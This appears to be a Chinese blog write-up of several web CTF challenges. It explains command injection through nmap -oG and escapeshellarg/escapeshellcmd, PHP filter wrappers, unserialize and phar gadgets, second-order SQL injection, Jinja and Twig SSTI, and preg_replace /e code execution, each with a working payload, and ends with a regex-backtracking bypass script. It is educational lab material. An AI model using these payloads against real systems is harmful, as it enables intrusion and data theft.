考点有两个:nmap写入文件和escapeshellarg()+escapeshellcmd()两个函数的配合。
打开题目,看到代码:
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
上面的xff别管,关键是下面的host参数的处理。可以看到,有直接的命令执行函数,但经过测试发现|
和&
都是没有用的。看到nmap可以想到-oG参数写入文件。
再看escapeshellarg()
和escapeshellcmd()
。百度一下,escapeshellarg的作用是给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
,escapreshellcmd的作用是:对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义
先看看效果:
再看看在shell执行的结果
可以看到并没有执行成功
再看看题解的结果
运行结果如下:
为什么呢?因为第一个没有加单引号的payload,由于没有单引号,所以在payload的两边加上了单引号,再通过escapeshellcmd()加上转义字符,最后运行结果相当于' -oG a.php'
。
而第二个的运行结果被分成了好几部分,相当于运行的结果如下:\ -oG a.php \\
(单引号之间看作一部分,空格隔开又算一部分,转义字符\\
相当于\
),所以nmap才会这样一部分一部分地报错,而且由于nmap看懂了-oG参数,所以这部分没有报错。
a.php文件如下:
最后用蚁剑连上即可得到flag:
payload:' -oG a.php '
参考文章:https://paper.seebug.org/164/#_2
https://blog.csdn.net/qq_26406447/article/details/100711933
php伪协议,payload:file=php://filter/read=convert.base64-encode/resource=flag.php
。
点进去,代码如下:
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
首先看到$text
的值要为welcome to the zjctf,php伪协议即可。$file
不能直接读取flag.php文件,但可以看到提示我们读取useless.php文件,
得到代码如下:
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
很明显,用$password
反序列化和php伪协议读取flag.php文件。
payload如下:
?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;}
,同时post数据:welcome to the zjctf
base64解码即可得到flag。
利用管道符执行命令,用0|ls ../../../../../../../../
可以看到根目录有flag再用cat读取即可
payload:0|cat ../../../../../../../../flag
打开就发现有python代码,如下:
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
urlparse()
是用来分割url的,通过if判断可以知道前两次要host不为suctf.cc,最后一次却要求host为suctf.cc。
最后一个return很明确,会读取经过过滤的URL的文件了,不过没有对协议进行限制,所以我们可以用file协议读取文件。而且很显然需要绕过对host的检查,但我试了很多绕过url的办法都没有成功,后来才知道是关于一个CVE的:urlsplit不处理NFKC标准化。
关键在于这条语句:newhost.append(h.encode('idna').decode('utf-8'))
还有下面的finalUrl = urlunsplit(parts).split(' ')[0]
payload在github上:https://github.com/python-hyper/hyperlink/issues/19
我们按照CVE试一试:
可以看到,由idna编码转换成utf-8后会发现这里的url改变了。于是我们可以利用这个来绕过第三条if语句:
然后我们利用这个读取nginx的配置文件:
payload如下:file://suctf.c℅pt/../../../usr/local/nginx/conf/nginx.conf
可以看到有/usr/fffffflag
读取即可得到flag。
进去试了试啥都没有,发现会有重定向,没有源码泄露。于是抓包送入repeater发现在header里有一个hint。
md5函数的作用如下:
我们首先要了解啥是16位原始二进制格式的字符串,我们可以把它理解成下图的效果:
也就是说,这个函数进行MD5函数的参数为true时,得到的md5字符串会被当成16进制来执行。我们可以构造一个字符串,让它的md5开头为276F7227
,(因为276F7227
经过16进制解码后即为'or'
就是万能密码)。
字符串ffifdyop
恰好就是这样的,它的md5加密就是276F722736C95D99E921722CF9ED621C
,解码后就是上图的ASCII码。
然后可以得到一个hint:
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
MD5弱类型比较,数组绕过即可。
payload:?a[]=a&b[]=b
又得到一串源码:
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
MD5强碰撞,写过很多次,具体可以看https://www.cnblogs.com/kuaile1314/p/11968108.html
payload:param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
参考文章:https://blog.csdn.net/March97/article/details/81222922
点进去,注册admin,登陆,发现界面:
上传图片文件后,发现没有返回存储目录。于是尝试下载,发现了任意文件读取:
试过了读取flag.php和flag.txt后发现并没有找到flag,可以猜测flag在根目录。download.php里有这么一句话:ini_set("open_basedir", getcwd() . ":/etc:/tmp");
设置了只有当前工作目录及/etc
、/tmp
可以被fopen等函数打开。所以肯定不能用download.php来读取。
delete.php关键代码如下:
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();//创建对象class.php中的File
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();//利用点
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
class.php的部分代码如下:
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= '. htmlentities($filename) . '">涓嬭浇 / 鍒犻櫎 ';
$table .= ' ';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
题目提示我们phar,加上很多魔术函数,可以确定是利用phar反序列化漏洞。在File
类的close
函数有file_get_content()
,而且在User
类的魔术函数中调用了,我们可以利用一下。
网鼎杯 2018 unfinish(未完成)
打开页面,发现先让我们登陆,
试试register.php,发现可以注册,
于是注册邮箱为[email protected]用户名为admin,密码为123,登陆后发现啥都没有,但可以看到用户名,猜测有二次注入。
于是回到register.php页面,在用户名处测试payload:0'+(select hex(hex(database())))+'0
,注册成功(注册成功会302跳转,失败则返回200),发现成功注入
得到database为web
,要用两次hex的原因如下:
因为如果hex一边后的字符有字母的话,与0相加只会显示开始的数字,遇到字母就不显示了。但还有一个问题,就是两次hex之后会变得很长,这样它就会用科学计数法表示,效果如下:
这样我们就无法解码hex。我们采取的办法是进行切割再相加,每10个字符进行一次切割再与0相加,然后利用from for语法即可得到全部信息。
[网鼎杯 2020 青龙组]AreUSerialz
点进去后就是一串源码:
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
经典反序列化漏洞,大致方向就是通过$op=2
来触发read函数,再将$filename
通过php伪协议读取文件即可。但有两个问题,一个是__destruct的强类型比较:
这个倒是挺好绕过的,因为"2"
在PHP中会将其当作字符串进行处理,在process处比较时确实用的弱类型比较。我们令$op=2
即可成功绕过。
下一个是比较难绕的:protected
。在该类里,$op,$filename,$content
都是protected,protected的变量进行编码后会带%00,不能通过is_valid函数的检查。
比较简单的绕法是:php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可。因为在PHP7.1版本的process_nested_data函数中,对于属性没有进行特别的处理,最终导致的绕过。
payload:?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:57:%22php://filter/read=convert.base64-encode/resource=flag.php%22;s:7:%22content%22;N;}
[BJDCTF2020]Mark loves cat
首先git源码泄露获取源码:
得到关键代如下:
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){//GET传输的flag参数必须等于flag
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){//POST和GET里都必须有一个flag参数
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){//GET或POST的flag参数不能为flag
exit($is);
}
echo "the flag is: ".$flag;
?>
分析代码:
forsearch:
post传参和get传参的参数键名和值
关键在于这个$$x = $y
和$$x=$$y
如果我们GET参数传递yds=flag
,则相当于$yds=$flag
。
此时我们只要将$yds
带出来即可,而恰好有一条语句可以带出来:
也就是说,只要POST的flag不为’flag’(或者直接不传入flag参数)即可得到flag
payload:?yds=flag
(这题我还以为是要让三个条件全部通过才能得到flag,没想到是通过其他变量直接带出来,难顶)
[WesternCTF2018]shrine
源码如下:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
SSTI,过滤了(
、)
、config
、self
,但flag需要通过config[‘FLAG’]来读取。
如果没有过滤config,则可以直接用{{config}}
。
如果没有过滤self,则可以用self.__dict__
。
如果小括号没有过滤,则payload可以是这样:
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__'.("os").__dict__.environ['FLAG']
## 作者给的; 里本身就有 OS
[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']
但小括号也被过滤了,所以只能换一种方式了。
因为这里过滤了config,self和self,所以要访问到config,所以首先得找到全局变量current_app。
能跑出x.__globals__
的函数有这么几个:
url_for
g
request
namespace
lipsum
range
session
dict
get_flashed_messages
cycler
joiner
config
其中url_for和get_flashed_messages这两个方法的__globals__
中,均有current_app,那么获得current_app以后就可以直接访问config。
current_app。
flag
payload:
url_for.__globals__['current_app'].config
或get_flashed_messages.__globals__['current_app'].config
参考文章:https://www.cnblogs.com/tr1ple/p/9415641.html
[BJDCTF2020]Cookie is so stable
在flag.php处注册后,在cookie处有SSTI:
而且看到是PHP语言。
payload:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat%20/flag")}}
这个payload的具体解释可以看这篇文章
[CISCN 2019 初赛]Love Math
代码审计:
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
函数是白名单过滤,字符是黑名单过滤。
之前有一题我们提到了一个PHP的特性:$a=phpinfo;$a();
等同于
。
还有一个重要的函数没有过滤:base_convert()
,用法如下:
写个小例子:
图中的36进制是因为10数字+26字母,即为36进制,通过这样的方法来构造字母和数字。
构造的payload如下:
?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){2})
$pi=base_convert
是为了减少长度(这里我们使用的是函数名最短的那个,其他字母会被白名单过滤),30进制同理(因为t为第20个字母,所以后面的几个字母用不上就没必要了)。这条语句等同于exec(getallheaders(){2})
(可以把里面的getallheaders直接换成想要执行的命令,一样的),这个2就是headers的参数,结果如图:
也可以通过异或进行处理,获取字符,这里我贴一个大佬的脚本:
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "
";
}
}
}
?>
用来爆破字符,得到想要的payload。
BJDCTF 2020 ZJCTF,不过如此
进去先代码审计:
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
利用php伪协议让$text
的内容为I have a dream
,然后再用php伪协议读取next.php文件。
payload:?text=php://input&file=php://filter/read%3dconvert.base64-encode/resource%3dnext.php
同时POSTI have a dream
得到一串base64,解码得到next.php文件内容:
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
?>
在preg_repalce
处的/ie
模式存在远程代码执行(具体可查看这篇文章),利用getflag函数得到flag。
payload:?\S*=${getflag()}&cmd=show_source(%22/flag%22);
。
[FBCTF2019] RCEService
源码如下:
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected
';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected
';
} else {
echo 'Attempting to run command:
';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '
';
}
}
?>
第一种办法:看看P牛的一篇文章利用这个回溯可以绕过限制。
我们再看到putenv('PATH=/home/rceservice/jail');
Linux命令的位置:/bin,/usr/bin,默认都是全体用户使用,/sbin,/usr/sbin,默认root用户使用
于是我们可以构造payload:
# -*- coding: utf-8 -*-
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://3f094322-19e3-48c2-806d-fc71bc9a5f70.node3.buuoj.cn/", data={"cmd":payload})
print(res.text)
然后即可得到flag。
你可能感兴趣的:(初窥CTF)